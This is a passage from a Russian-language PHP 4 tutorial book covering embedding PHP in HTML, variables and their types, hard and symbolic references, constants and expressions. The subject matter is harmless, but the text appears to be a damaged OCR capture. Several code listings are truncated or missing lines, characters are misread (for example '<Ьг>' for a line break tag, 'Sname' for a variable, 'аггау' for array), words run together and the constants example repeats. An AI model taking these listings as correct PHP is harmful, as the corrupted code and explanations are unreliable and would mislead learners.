первой части этой книги. Но не торопитесь. Следующий пример поставит все точки над

Для тех, кто еще не сталкивался с синтаксисом РНР, более интересен пример второй программы. Вот как он выглядит:

<body>

Hello world!

</body>

Что — думаете, произошла ошибка и редактор вместо примера кода на РНР случайно вставил в текст пример HTML-страницы? А вот и нет. Да-да, вы не ошиблись — тут действительно нет вообще никаких операторов РНР, и содержимое файла с "программой" состоит целиком из статического текста.

Что же происходит? Выходит, обычный HTML-текст также правильно обрабатывается РНР? Да, это так. Но рассмотрим чуть более сложный пример (листинг

Листинг 6.1. Простой сценарий на РНР

<htmlxbody>

</hl>

<?

// Вычисляем текущую дату в форматегод"

$dat=date("d.m y") ;

// Вычисляем текущее время

$tm=date("h:i: s");

Выводим их

echo "Текущая дата:

echo "Текущее время:

# Выводим цифры

echo "А вот квадраты и кубы первых 5 натуральных $i++)

{ echoв квадрате =

echo$i в кубе =

< /bodyx/html >

Я убежден, что синтаксис любого языка программирования гораздо легче "почувствовать" на примерах, нежели используя какие-то диаграммы и схемы. Я буду придерживаться этого принципа на протяжении всей книги. Что ж, приступим к разбору программы.

Начало сценария, если бы не был уже затронут второй пример, может озадачить: разве это сценарий? Откуда HTML-тэгии <body>? Вот тут-то

и кроется главная особенность (кстати, чрезвычайно удобная) языка РНР: PHP-скрипт можетне отличаться от обычного HTML-документа,

как мы это уже заметили ранее.

А помните, как мы раньше в примерах на Си писали кучу одинаковых для того, чтобы выводить HTML-код страницы? На РНР это можно делать естественным образом, без всяких операторов. Иными словами, все, что расположено в нашем примере до начала PHP-кода, отображается непосредственно, Как буДТО При ПОМОЩИ НеСКОЛЬКИХ ВЫЗОВОВ() В Си.

Идем дальше. Вы, наверное, догадались, что сам код сценария начинается после открывающего тэга <? и заканчивается закрывающим ?>. Итак, между этими двумя тэгами текст интерпретируется как программа, и в HTML- документ не попадает. Если же программе нужно что-то вывести, она должна воспользоваться оператором echo (это не функция, а конструкция языка: ведь, в концеконцов,еслиэтофункция,тогдежеМыподробнорас

смотрим ее работу в дальнейшем. Итак, РНР устроен так, что любой текст, который расположен вне программных блоков, ограниченных <? и ?>, выводится в браузер непосредственно, т. е. воспринимается, как вызов оператора echo (последняя аналогия очень точна, и мы остановимся на ней чуть позже).

Нетрудно догадаться, что часть строки после // является комментарием и на программу никак не влияет. Однострочные комментарии также можно предварять и символом вместо //, как мы можем это увидеть в примере. Комментарии еще бывают и такие:

/*

это комментарий

. . .и еще одна строка

То есть, комментарии могут, как и в Си, быть однострочными и многострочными. Однако в некоторых реализациях РНР многострочные комментарии почему-то вступают в конфликт с "русскими" буквами, которые могут находиться между ними. А именно, появляются бессмысленные сообщения о синтаксических ошибках, причем совершенно не в том месте. Почему так происходит, неясно: видимо, ошибка в РНР. Насчет комментариев и контроля ошибок мы еще поговорим, а пока вот вам совет: никогда не пользуйтесь многострочными комментариями в РНР, если хотите жить долго и счастливо (тем более, что не допускаются вложенные многострочные комментарии).

А пока давайте лучше посмотрим, что происходит дальше. Вот строка: $dat=date ("d.m у");

Делает она следующее: переменной с именем $dat (заметьте, что абсолютно все переменные в РНР должны начинаться со знака $, потому что "так проще для интерпретации") присваивается значение, которое вернула функция date () ■ Итак, мы видим, что в РНР, во-первых, нет необходимости явно описывать переменные (как это делается, например, в Паскале или Си), а во-вторых, нигде не указывается их тип (про типы мы еще поговорим чуть позже). Интерпретатор сам решает, что, где и какого типа. А насчет функции date о... Можно заметить, что у нее задается один параметр, который определяет формат результата. Например, в нашем случае это будет строка вида "11.12 01".

В конце каждого оператора должна стоять точка с запятой, как в Си. Заметьте — именно как в Си, а не как в Паскале. Иными словами, вы обязаны ставить точку с запятой перед else в конструкции if-else, но не должны после заголовка функции.

На следующей строке мы опять видим комментарии, а дальше — еще один оператор, похожий на ранее описанный. Он присваивает переменной $tm текущее время в формате "часы:минуты:секунды", опять же при помощи вызова date (). Все возможности этой полезной функции будут подробно описаны в четвертой части книги.

Далее следуют операторы echo, выводящие текстовые строки и нашу дату и время. Рассмотрим один из них:

echo "Текущая дата: $dat года<Ьг>\п";

Заметьте: то, что любая переменная должна начинаться с символа $, позволяет интерпретатору вставить ее прямо в строку символов на место $dat (конечно, в любую строку, а не только в параметры echo). Разумеется, можно было бы написать и так (поскольку конструкция echo не ограничена по числу параметров):

echo "Текущая дата: ",$dat," года<Ьг>\п";

или даже так:

echo "Текущая дата:

так как для слияния строк используется операция(к этому придется по

ка

Кстати говоря, на вопрос, почему для конкатенации строк применяется точка а не, скажем, плюсдовольно легко ответить примером:

$а="100";

$b="200";

echo// выведет "300"

echo// выведет "100200"

Итак, мы видим, что плюс используется именно как числовой оператор, а точка — как строковой. Все нюансы применения операторов мы рассмотрим в следующей главе.

Еще один пример "внедрения" переменных непосредственно в строку:

$path="c:/windows"; Sname="win"; $ext="com";

FullPath="$path\$nama $ext";

Последнее выглядит явно изящнее, чем:

$path-"c:/windows"; $name="win"; $ext="com";

$FullPath=$path."\".$name."." . $ext;

Замечание

В терминах языка Perl можно сказать, что переменные в строках, заключенных в кавычки,т. е. расширяются. Существует и другой способ

представления строк в РНР — это строки в апострофах, и в них переменные не интерполируются.

Ну вот, мы почти подобрались к сердцу нашего сценария — "уникальному" алгоритму поиска квадратов и кубов первых 5 натуральных чисел. Выглядит он так:

$i++)

{ echoв квадрате =

echoSi в кубе =

i

В первой строке находится определение цикла for (счетчик $i, которому присваивается начальное значение 1, инкрементируется на единицу на каждом шаге, пока не достигнет пяти). Затем следует блок, выполняющий вывод одной пары "квадрат-куб". Я намеренно сделал вывод в две строки, а не

в одну, чтобы показать, что в РНР применяются те же самые правила группировки операторов, что и в Си. А именно: несколько операторов можно сделать одним сложным оператором, заключив их в фигурные скобки, как это сделано выше.

Наконец, после всего этого расположен закрывающий тэг РНР ?>, а дальше — опять обычные HTML-тэги, завершающие нашу страничку.

Уф! Вот какой код получился в результате работы нашего сценария (листинг 6.2):

I Листинг 6.2. Результат работы сценария

<htmlxbody>

<Ш>Здравствуйте !</hl>

Текущая дата: 29.01 01 года<Ьг>

Текущее время: 04:34:16<br>

А вот квадраты и кубы

первых 5 натуральных чисел : <br>

<li>l в квадрате = 1,

1 в кубе — 1

<li>2 в квадрате = 4,

2 в кубе = 8

<li>3 в квадрате = 9,

3 в кубе = 27

<11>4 в квадрате = 16,

4 в кубе = 64

<li>5 в квадрате = 25

5 в кубе = 125

</body></html>

Как видите, выходные данные сценария скомбинировались с текстом, расположенным вне скобок <? и ?>. В этом-то и заключена основная сила РНР: в легком встраивании кода в тело документа.

Использование РНР в Web

Пока мы с вами касались только теории того, как работает сценарий на РНР. Давайте же теперь наконец займемся практикой. Но сначала поговорим вот о чем.

Итак, РНР — язык, который позволяет встраивать в код программы "куски" HTML-кода. Мы можем использовать его для написания CGI-сценариев и избавиться от множества неудобных операторов вывода текста. Не так ли?

Посмотрим. Вот другое утверждение. РНР — язык (надстройка над HTML), который позволяет встраивать программный код в HTML-документы. Мы можем привлекать его для формирования HTML-документов и избавиться от множества вызовов внешних сценариев.

Вы озадачены — какое же из утверждений (в чем-то противоречивых, кстати) верно? Это хорошо. Я достиг цели. Это означает, что мы с вами только что избежали одной из самых популярных ошибок начинающих программировать на РНР людей — считать единственно верным только первое или только второе утверждение. В действительности РНР представляет собой язык, в котором в одних ситуациях следует придерживаться одного, а в остальных — другого соглашения.

Внимание

Если вы думаете, что все это лишь игра слов, и "хоть горшком назови, только в печь не ставь", то ошибаетесь. Дело в том, что затронутая тема почти вплотную стыкуется с идеологией отделения кода сценария от дизайна страницы — идее очень важной, особенно при работе нескольких человек над одним проектом, и довольно нетривиальной самой по себе. Мы очень подробно рассмотрим ее в пятой части книги, которая посвящена методам программирования на РНР.

Ну что, стало понятнее? Пожалуй, нет. Ну что ж, давайте пока будем рассматривать все наши примеры так, как будто они подходят под второе утверждение (хотя в последнем примере — положа руку на сердце — больше программного кода, чем HTML-тэгов). Итак, программа, показанная в листинге 6.1, представляет собой HTML-страницу с "вкрапленным" кодом на РНР. А раз так, то назовем ее, например, listl.1.php и расположим в каталоге для документов на Web-сервере. Теперь с точки зрения Web-пользователя она — просто страница.

Примечание

Для иллюстрации примеров здесь и далее я буду использовать локальный сервер Apache для платформы Win32, установка которого подробно описана в части II. Примеры я располагал на хосте localhost в его корневом каталоге. Конечно, это ни в коей мере не означает, что примеры будут работать только под Windows-версией РНР. Язык РНР задумывался как платформенно-незаВИСИМЫЙ, поэтому, если вы не задействуете в сценарии особенностей той или иной операционной системы, он будет одинаково хорошо (или одинаково плохо) работать в любой системе — будь то Unix у хостинг-провайдера или Windows дома.

Рис. 6.1 -- это то, что я увидел, когда открыл в браузере рассмотренный выше пример (файл со сценарием я разместил по адресу: z:/home/localhost/www/list 1.1 .php).

Обратите внимание на URL в строке браузера (http ://I ocalhost/1 ist 1.1 .php). Все выглядит так, как будто мы просто открыли обычную Web-страничку. Пока что мы присвоили расширение php для этой страницы для того, чтобы сервер смог понять, что ему нужно на самом деле использовать РНР- интерпретатор для обработки документа. В пятой части этой книги мы рас-

5 Зак. 699

смотрим, как можно связать PHP с любым расширением и любым документом на сервере, а пока давайте договоримся давать PHP-сценариям расширение php.

Рис. 6.1. Результат работы сценария, приведенного в листинге 6.1

Глава 7

Переменные, константы, выражения

Как вы, наверное, уже заметили, структура PHP-программы довольно сильно напоминает смесь Бейсика и Си, да еще со включениями на HTML. Что ж, так оно, в общем, и есть. Однако мы рассмотрели лишь очень простой пример программы на РНР, поэтому вряд ли сможем сейчас увидеть общую картину языка. А теперь настало время заняться конструкциями РНР вплотную.

Начнем мы с основ языка. Итак...

Переменные

Как и в любом другом языке программирования (за исключением, может быть, языка Forth), в РНР существует такое понятие, как переменная. Даже в простом примере, какой был описан выше, мы использовали целых 3 переменных!

При программировании на РНР принято не скупиться на объявление новых переменных, даже если можно обойтись и без них. Например, в том простом сценарии мы вполне могли бы использовать всего одну переменную - счетчик цикла. Однако значительно читабельнее будет определить их несколько штук. Отчасти это связано с тем, что создание нового идентификатора интерпретатору обходится довольно дешево, частично из-за того, что все переменные в функциях по умолчанию локальны (о локальных переменных разговор пойдет чуть позже).

Имена переменных чувствительны к регистру букв: например, $my_variable — не ТО же самое, ЧТО $My_Variable ИЛИ $MY_VARIABLE. Кроме того, имена всех переменных должны начинаться со знака $ — так интерпретатору значительно легче "понять" и отличить их, например, в строках. Поначалу это довольно сильно раздражает, но потом привыкаешь (и даже автоматически начинаешь писать "доллары" перед именами переменных в программах на Си, Паскале...)

Внимание

В официальной документации сказано, что имя переменной может состоять не только из "английских" букв и цифр, но также и из любых символов, код которых

старше 127, — в частности, и из "русских" букв! Однако я категорически не советую вам применять кириллицу в именах переменных — хотя бы из-за того, что в различных кодировках ее буквы имеют различные коды.

Переменные в РНР — особые объекты, которые могут содержать в буквальном смысле все, что угодно. Если в программе что-то хранится, то оно всегда хранится в переменной (исключение — константа, которая, впрочем, может содержать только число или строку). Такого понятия, как указатель (как в Си), в языке не существует — при присваивании переменная копируется один-в-один, какую бы сложную структуру она ни имела. Тем не менее, в РНР версии 4 существует понятие ссылок — жестких и символических, их мы вскоре рассмотрим.

Как уже говорилось, в РНР не нужно ни описывать переменные явно, ни указывать их тип. Интерпретатор все это делает сам. Однако иногда он может ошибаться (например, если в текстовой строке на самом деле задано десятичное число), поэтому изредка возникает необходимость явно указывать, какой же тип имеет то или иное выражение.

Чуть чаще возникает потребность узнать тип переменной (например, переданной в параметрах функции) прямо во время выполнения программы. В этой связи давайте посмотрим, какие же типы данных понимает РНР.

Типы переменных

РНР непосредственно поддерживает 5 типов переменных, которые я здесь перечислю и коротко опишу.

integer

Целоечислосознаком,обычнодлиной32бита(от—2 147483648до

2 147 483 647, если это еще кому-то может быть интересно).

double

Вещественное число довольно большой точности (ее должно хватить для подавляющего большинства математических вычислений).

string

Строка любой длины. В отличие от Си, строки могут содержать в себе также и нулевые символы, что никак не повлияет на программу. Иными словами, строки можно использовать для хранения бинарных данных. Длина строки ограничена только размером свободой памяти, так что вполне реально прочитать в одну строку целый "объемистый" файл размером так килобайтов 200-300 (что часто и делается). Строка легко может быть обработана при помощи стандартных функций, можно также непосредственно обратиться к любому ее символу.

array

Ассоциативный массив (или, как его часто называют, хэш, хотя для РНР такое понятие совсем не подходит). Это набор из нескольких элементов, каждый из которых представляет собой пару вида ключ=>значение (символом => я обозначаю соответствие определенному ключу какого-то значения). Доступ к отдельным элементам осуществляется указанием их ключа. В отличие от массивов Си, ключами здесь могут служить не только целые числа, начиная с нуля, но и любые строки. Например, вполне возможно существование таких команд:

// создаст массив с ключами "О", "а", "b" и "с"

$a=array(0=>"zzzz", "а"=>"ааа", "b"=>r,bbb", ,,с"="ссс") ;

echo $а["Ь"];// выведет "ЬЫэ"

$a["l"]="qq";// создаст новый элемент в массиве и присвоит ему "qq"

$a["a"]="new_aaa"; // присвоит существующему элементу "new_aaa";

Забегая вперед, скажу, что оператор array о создает массив, элементы которого перечислена в его скобках.

object

Объект, реализующий несколько наиболее простых принципов объектноориентированного программирования. Внутренняя структура объекта похожа на хэш, за исключением того, что для доступа к отдельным элементам и функциям используется оператор ->, а не квадратные скобки. Про объекты мы еще поговорим в будущем, когда разберемся наконец с основами языка.

Логические переменные

Существует и еще один гипотетический тип переменных — логический. Логическая переменная может содержать одно из двух значений: false (ложь) или true (истина). Любое ненулевое число (и непустая строка), а также ключевое слово true символизирует истину, тогда как 0, пустая строка и слово false — ложь. Таким образом, любое ненулевое выражение (в частности, значение переменной) рассматривается в логическом контексте как истина. Вы можете пользоваться константами false и true в зависимости от логики программы.

Ключевые слова false и true — не совсем обычные константы. Раньше я говорил, что false является просто синонимом для пустой строки, a true — для единицы. Именно так они выглядят, если написать следующие операторы: echo false; // выводит пустую строку, т. е. ничего не выводит echo true;// выводит 1

Теперь давайте рассмотрим такую программу (листинг 7.1).

ЛистингЛогические величины

$а=100;

echo "переменная равна echo "переменная

Если бы true была в точности равна константе 1, то вывелась бы только первая строка, не правда ли? А отображаются обе. Это говорит о том, что не все так просто. Мы видим, что в операторах сравнения (например, в операторе сравнения на равенство ==, а также в операторах >, < и т. д.) РНР интерпретирует один из операндов как логический, если другой также логический. Следующий пример (листинг 7.2) показывает, что, вообще говоря, РНР хранит для каждой переменной признак, является ли она логической.

Листинг 7.2. Логические переменные

$а=100;

$b=true;

echo "а =

echo=

echo"равно"

Как ни странно, но программа печатает, что "л=Ю0 и />=1", а затем с гордостью заявляет, что "а равно Хотя в данном примере мы прекрасно понимаем, что так и должно быть (потому что на самом-то деле переменные сравниваются как логические), поэтому будьте осторожны, когда вместо $а используется, например, число, возвращенное функцией. Иначе это может породить ошибку, которая "убьет" несколько часов на ее поиски.

Конечно, при выполнении арифметических операций над логической переменной она превращается в обычную, числовую переменную. Однако при написании этой книги я наткнулся на интересное исключение: по- видимому, операторы ++ и — для увеличения и уменьшения переменной на 1 не работают с логическими переменными (листинг 7.3):

Листинг 7.3. Особенности операторов ++ и —

$b=true;

echo "b: $b<br>";

$b++;

echo "b: $b<br>";

?>

Эта программа выводит оба раза значение 1, во всяком случае, в моей версии РНР 4.03.

( Замечание )

Некоторые особенности работы с логическими переменными вполне могут измениться в следующих версиях РНР. Их описание приведено здесь лишь с одной целью: уберечь вас от возможных ошибок, которые трудно будет найти в программе.

Действия с переменными

Вне зависимости от типа переменной, с ней можно делать три основных действия.

Присвоение значения

Мы можем присвоить переменной значение другой переменной (или значение, возвращенное функцией), ссылку на другую переменную, либо же константное выражение (за исключением объектов, для которых вместо этого используется оператор new). Как уже говорилось, за преобразование типов отвечает сам интерпретатор. Кроме того, при присваивании старое содержимое и, что самое важное, тип переменной теряются, и она становится абсолютно точной копией своего "родителя". То есть, если мы массиву присвоим число, это сработает, однако весь массив при этом будет утерян.

Проверка существования

Можно проверить, существует ли (то есть, инициализирована ли) указанная переменная. Осуществляется это при помощи оператора IsSet о . Например:

if(IsSet($MyVar)>

echo "Такая переменная есть. Ее значение $MyVar";

Если переменной в данный момент не существует (то есть нигде ранее ей не присваивалось значение, либо же она была вручную удалена при помощи unset () ), то isSet () возвращает ложь, в противном случае — истину.

Важно помнить, что мы не можем использовать неинициализированную переменную в программе — иначе это породит предупреждение со стороны интерпретатора (что, скорее всего, свидетельствует о наличии логической

ошибки в сценарии). Конечно, предупреждения можно выключить, тогда все неинициализированные переменные будут полагаться равными пустой строке. Однако я категорически не советую вам этого делать — уж лучше лишняя проверка присутствия в коде, чем дополнительная возня с "отлавливанием" возможной ошибки в будущем. Если вы все же захотите отключить это злополучное предупреждение (а заодно и все остальные), лучше использовать оператор отключения ошибок @, который действует локально (о нем мы тоже вскоре поговорим).

Уничтожение

Уничтожение переменной реализуется оператором Unset (). После этого действия переменная удаляется из внутренних таблиц интерпретатора, т. е. программа начинает выполняться так, как будто переменная еще не была инициализирована.Например:

// Переменной $а еще не существует

$a="Hello there!";

// Теперь $ a инициализирована

//какие-то команды, использующие $а

echo

// А теперь удалим переменную $ a

Unset($ a);

// Теперь переменной $а опять не существует

echo $a; // Ошибка: нет такой переменной $а

Впрочем, применение Unset () для работы с обычными переменными редко бывает целесообразно. Куда как полезнее использовать его для удаления элемента в ассоциативном массиве. Например, если в массиве $А нужно удалить элемент с ключом for_del, это можно сделать так:

Unset($A["for_del"]);

Теперь элемент for_del не просто стал пустым, а именно удалился, и последующий перебор элементов массива его не обнаружит.

Определение типа переменной

Кроме этих трех действий существуют еще несколько стандартных функций, которые занимаются определением типа переменных и часто включаются в условные операторы. Вот они.

is_integer($a)

Возвращает true, если $а — целое число.

О is_double($a)

Возвращает true, если $а — действительное число.

is_string($а)

Возвращает true, если Sa является строкой.

is_array($a)

Возвращает true, если $a является массивом.

О is_object($a)

Возвращает true, если $а объявлена как объект.

is_boolean($a)

Возвращает true, если $a определена как логическая переменная.

gettype(Sa)

Возвращает строки, соответственно, со значениями: array, object, integer, double, string, boolean ИЛИ unknown type В зависимости ОТ типа переменной. Последнее значение возвращается для тех переменных, типы которых не являются встроенными в РНР (а такие бывают, например, при добавлении к РНР соответствующих модулей, расширяющих возможности языка). Я на них останавливаться не буду, т. к. в будущем наверняка появятся сотни таких модулей для РНР.

Установка типа переменной

Существует функция, которая пытается привести тип указанной переменной к одному из стандартных (например, вам может понадобиться перевести строку в целое число). Вот она.

settype($a,Stype)

Функция пытается привести тип переменной $а к типу $type ($type — одна из строк, возвращаемых gettype о, кроме boolean). Если это сделать не удалось (например, в $а "нечисловая" строка, а мы вызываем settype ($а, "integer")), Возвращает false.

Оператор присваивания

Сильно не ошибусь, если скажу, что нет на свете такой профаммы, в которой не было бы ни одного оператора присваивания. И в РНР-программе этот оператор, конечно же, тоже есть. Мы уже с ним встречались — это - знак равенства =:

$имя переменной=значение;

Как видите, разработчики РНР пошли по линии Си в вопросе операторов присваивания (и проверки равенства, которая обозначается ==), чем, я уверен, привнесли свой вклад в размножение многочисленных ошибок. Например, если в Си мы пишем if(a=b) { ... } вместо if(a==b) { ... }

(пропуская ненароком один символ равенства), то компилятор выдаст нам по крайней мере предупреждение. Иначе обстоит дело в РНР: попробуйте как-нибудь на досуге написать: $a=0; $b=l;

if($a=$b) echo "а и Ь одинаковы"; else echo "а и b различны";

Интерпретатор даже не "пикнет", а программа восторженно заявит, что "а и b одинаковы", хотя это, очевидно, совсем не так (дело в том, что $a=$b так же, как и $a+$b, является выражением, значение которого есть правая часть оператора присваивания, равная в нашем примере 1).

£ Примечание

Почему разработчики РНР пошли таким путем, хотя, я уверен, отлично понимали его недостатки (двух мнений тут быть просто не может)? Что бы им стоило вместо = использовать (например, как в Паскале) : =, а вместо == — =? Я не знаю. Зато знаю, что в РНР есть еще несколько "ляпов" (только давайте не будем разжигать религиозных войн по поводу оператора == — каждый программист волен иметь свое мнение), перенятых из Си. Так что призываю вас быть предельно внимательными — тут могут поджидать очень даже неприятные сюрпризы.

Ссылочные переменные

Хотя в РНР нет такого понятия, как указатель (что, возможно, к лучшему, а скорее всего — нет), все же можно создавать ссылки на другие переменные. Существует две разновидности ссылок: жесткие и символические (первые часто называют просто ссылками). Жесткие ссылки появились лишь в РНР версии 4 (в третьей версии существовали лишь символические ссылки).

Жесткие ссылки

Жесткая ссылка представляет собой просто переменную, которая является синонимом другой переменной. Многоуровневые ссылки (то есть, ссылка на ссылку на переменную, как это можно делать, например, в Perl) не поддерживаются. Так что, думаю, не стоит воспринимать жесткие ссылки серьезнее, чем синонимы.

Чтобы создать жесткую ссылку, нужно использовать оператор & (амперсанд). Например:

$а=Ю;

$Ь = &$а;// теперь $Ь — то же самое, что и $а

$Ь=0;// на самом деле $а=0

echo "b=$b, а=$а"; // выводит "Ь=0, а=0"

Ссылаться можно не только на переменные, но и на элементы массива (этим жесткие ссылки выгодно отличаются от символических). Например:

$А=аггау('а' => *ааа*, 'b' => 'bbb');

$b=&$A[’b'];//теперь$b —тоже,чтои элементс индексом’b ’ массива

$b=0;II на самом деле $A['b']=O;

echo $A['b']; // выводит О

Впрочем, элемент массива, для которого планируется создать символическую ссылку, может и не существовать. Как в следующем случае:

$A=array(' a' => ' aaa 1 , 'b' => 'bbb');

$b=&SA[ ' c'] ;//теперь$b —тоже,чтои элементс индексом1 c * массива

echo "Элемент с индексом 'c' : (".$A[ ' c' ] . ") " ;

В результате выполнения этой программы, хотя ссылке $b и не было ничего присвоено, в массиве $А создастся новый элемент с ключом с и значением — пустой строкой (мы можем это определить по результату работы echo). То есть, жесткая ссылка на самом деле не может ссылаться на несуществующий объект, а если делается такая попытка, то объект создается.

'Замечание

Попробуйте убрать строку, в которой создается жесткая ссылка, и вы тут же получите сообщение о том, что элемент с ключом с не определен в массиве SA.

И все же, жесткая ссылка — не абсолютно точный синоним объекта, на который она ссылается. Дело в том, что оператор unset о, выполненный для жесткой ссылки, не удаляет объект, на который она ссылается, а всего лишь разрывает связь между ссылкой и объектом.

Замечание)

В этой трактовке любую переменную, даже только что созданную, можно рассматривать как жесткую ссылку. Просто она — единственная, кто ссылается на недавно построенный объект.

Итак, жесткая ссылка и переменная (объект), на которую она ссылается, совершенно равноправны, но изменение одной влечет изменение другой. Оператор unset о разрывает связь между объектом и ссылкой, но объект удаляется только тогда, когда на него никто уже не ссылается.

Жесткие ссылки удобно применять при передаче параметров функции и возврате значения из нее. Как это делается, мы рассмотрим в главе, описывающей возможности создания функций на РНР.

Символические ссылки

Символическая ссылка — это всего лишь строковая переменная, хранящая имя другой переменной. Чтобы добраться до значения переменной, на которую ссылается символическая ссылка, необходимо применить оператор разыменования — дополнительный знак $ перед именем ссылки. Давайте разберем пример:

$а=10;

$b=20;

$с=30;

$р="а";// или $p="b" или $р="с" (присваиваем $р имя другой переменной)

echo $$р; // выводит переменную, на которую ссылается $р, т. е. $а

$$р=1П0;/./ присваивает $а значение 100

Мы видим, что для того, чтобы использовать обычную строковую переменную как ссылку, нужно перед ней поставить еще один символ $.Это говорит интерпретатору, что надо взять не значение самой $р, а значение переменной, имя которой хранится в переменной $р.

Все это настолько редко востребуется, что вряд ли стоит посвящать теме символических ссылок больше внимания, чем это уже сделано. Думаю, использование символических ссылок — лучший способ запутать и без того запутанную программу, поэтому старайтесь их избегать, как огня.

Замечание J

Возможно, тем, кто хорошо знаком с файловой системой Unix, термины "жесткая" и "символическая" ссылка напомнили одноименные понятия, касающиеся файлов. Аналогия здесь почти полная. Об этом же говорят и сами разработчики РНР в официальной документации.

Некоторые условные обозначения

Как мы уже знаем, в РНР нет необходимости указывать тип какой-либо переменной или выражения явно. Однако, как мы видели, с каждой величиной в программе все же ассоциирован конкретный тип, который, впрочем, можно поменять в процессе выполнения программы. Такие "подмены" будут вполне осмысленными, если, например, мы к строке "20" прибавим число 10 и получим результат 30 (а не "2010") — это хороший пример того, как РНР выполняет преобразования из числа в строку и наоборот.

Но представьте себе, что мы хотим привести тип переменной $а к числу, а она на самом деле — массив. Ясно, что такое преобразование лишено всякого смысла — о чем вам и сообщит (в лучшем случае) РНР, если вы попытаетесь, например, прибавить $а к 10. А может и не сообщить (скажем, если перевести массив в строку, то всегда получится строка "Array"). В то же время, дальше, когда мы будем рассматривать стандартные функции и операторы РНР (которых, кстати, очень много), мне в большинстве мест придется разъяснять, какой тип имеет тот или иной параметр функции или оператора, причем все другие несовместимые с ним типы должны быть исключены. Также было бы полезным обозначить явно тип возвращаемого значения функций. В этой связи я, подражая оригинальной документации по РНР, буду указывать типы переменных и функций там, где это необходимо, а также некоторые другие метасимволы. Вот пример описания функции ПО Имени FuncName:

<return_type> FuncName (<typel> $paraml [,<typel> $param2])

Функция делает то-то и то-то. Возвращает то-то.

Здесь должно быть приведено описание функции, возвращающей значение типа <return_type>, и принимающей один или два аргумента (второй аргумент необязательный, на что указывают квадратные скобки). Тип первого параметра <typel>, а второго — <type2>. Описание возможных типов, которые я здесь выделил угловыми скобками, приводится в следующих подразделах.

string

Обычная строка, или тип, который можно перевести в строку.

int, long

Целое число, либо вещественное число (в последнем случае дробная часть отсекается), либо строка, содержащая число в одном из перечисленных форматов. Если строку не удается перевести в int, то вместо нее подставляется 0. и никаких предупреждений не генерируется!

double, float

Вещественное число, или целое число, или строка, содержащая одно из таких чисел.

bool

Логический тип, который будет восприниматься либо как ложь (нулевое число, пустая строка или константа false), либо как истина (все остальное).

Обычно редко указывается этот тип (вместо него пишут int, хотя это и неверно), но я все же постараюсь применять его там, где это возможно.

array

Массив, в общем случае ассоциативный (см. ниже). То есть набор пар ключ=>значение. Впрочем, здесь может быть передан и список list.

list

Обычно это массив с целыми ключами, пронумерованными от 0 и следую- шими подряд. Так как список является разновидностью ассоциативного массива, то обычно вместо параметров функций типа list можно подставлять и параметры типа array. При этом, скорее всего, функция "ничего не заметит" и будет работать с этим массивом как со списком, "мысленно" пронумеровав его элементы. Можно также сказать, что список представляет собой упорядоченный набор значений (который можно, например, отсортировать в порядке возрастания), тогда как ассоциативный массив — упорядоченный набор пар значений, каждую из которых логически бессмысленно разъединять.

object

Объект какой-то структуры. Обычно эта структура будет уточняться.

void

Пожалуй, самый простой тип, который применяется только для определения возвращаемого функцией значения, я бы его охарактеризовал так: "Не возвращает ничего ценного". В РНР функция не может ничего не возвращать (так уж он устроен), поэтому практически все void-функции возвращают false (то есть пустую строку).

mixed

Все, что угодно. Это может быть целое или дробное число, строка, массив или объект... Например, параметр типа mixed имеет стандартная функция gettype() или функция settype(). Если написано, что функция возвращает mixed, это значит, что тип результата зависит от операндов и уточняется при описании функции.

Внимание

При написании функций ни в коем случае не набирайте эти имена типов! Они нужны только для того, чтобы уточнить синтаксис какой-то функции. Хотя, возможно, в будущих версиях эти типы все же можно будет указывать явно. Что ж, посмотрим...

Константы

Встречаются случаи, когда переменные довольно неудобно использовать для постоянного хранения каких-либо определенных величин, которые не меняются в течение работы программы. Такими величинами могут быть математические константы, пути к файлам, разнообразные пароли и т. д. Как раз для этих целей в РНР предусмотрена такая конструкция, как константа.

Константа отличается от переменной тем, что, во-первых, ей нигде в программе нельзя присвоить значение больше одного раза, а во-вторых, ее имя не предваряется знаком $, как это делается для переменных. Например:

// Предположим, определена константа PI, равная 3.146

$а=2.34*sin(3*PI/8)+5;echo "Это число PI";echo "Это число ".PI;$а=2.34*sin(3*PI/8)+5;echo "Это число PI";echo "Это число ".PI;// использование константы

$а=2.34*sin(3*PI/8)+5;

echo "Это число PI";

echo "Это число ".PI;

$а=2.34*sin(3*PI/8)+5;

echo "Это число PI";

echo "Это число ".PI;

// выведет "Это число PI" // выведет "Это число 3.14"

То, что не надо писать "доллар" перед именем константы — это, конечно хорошо. Однако, как мы можем видеть из примера, есть и минусы: мы уже не можем использовать имя константы непосредственно в текстовой строке.

Предопределенные константы

Константы бывают двух типов: одни — предопределенные (то есть устанавливаемые самим интерпретатором), а другие определяются программистом. Существуют несколько предопределенных констант.

FILE_

Хранит имя файла программы, которая выполняется в данный момент.

LINE_

Содержит текущий номер строки, которую обрабатывает в текущий момент интерпретатор. Эта своеобразная "константа" каждый раз меняется по ходу исполнения программы.

PHP_VERSION

Версия интерпретатора РНР.

PHP_OS

Имя операционной системы, под которой работает РНР.

TRUE или true

Эта константа нам уже знакома и содержит значение "истина".

О FALSE или false

Содержит значение "ложь".

Определение констант

Вы можете определить и свои собственные, новые константы. Делается это при помощи оператора define о, очень похожего на функцию. Вот как она выглядит (заодно мы попрактикуемся в наших условных обозначениях для описания синтаксиса вызова функции):

void define(string Sname, string Svalue, bool $case_sen=true);

Определяет новую константу с именем, переданным в Sname, и значением Svalue. Если необязательный параметр $case_sen равен true, то в дальнейшем в программе регистр букв константы учитывается, в противном случае — не учитывается (по умолчанию, как мы видим, регистр учитывается). Созданная константа не может быть уничтожена или переопределена.

Например:

define("pi",3.14);

define("str","Test string");

echo sin(pi/4);

echo str;

Прошу обратить внимание на кавычки, которыми должно быть обрамлено имя константы при ее определении. А также на то, что нельзя дважды определять константу с одним и тем же именем — это породит ошибку во время выполнения программы.

Проверка существования константы

В РНР существует также функция, которая проверяет, существует ли (была ли определена ранее) константа с указанным именем. Вот она.

bool defined(string Sname)

Возвращает true, если константа с именем $name была ранее определена.

Впрочем, я ни разу не видел программы, которая задействовала бы эту возможность. Но для полноты картины я эту функцию все-таки здесь привел.

Выражения

Выражения — это один из "кирпичей", на которых держится здание РНР. Действительно, практически все, что вы пишете в программе — это выражение. Мне нравится следующее определение понятия "выражение": "нечто, имеющее определенное значение". И обратно: если что-то имеет значение, то это "что-то" есть выражение.

Самый простой пример выражения — переменная или константа, стоящая, скажем, в правой части оператора присваивания. Например,5 в опе

раторе

$а=5;

есть выражение, т. к. оно имеет значение 5. После такого присваивания мы ожидать, что в $а окажется 5. Теперь, если мы напишем

$b=$a;

то, очевидно, в $ь окажется также 5, ведь выражение $а в правой части оператора имеет значение 5.

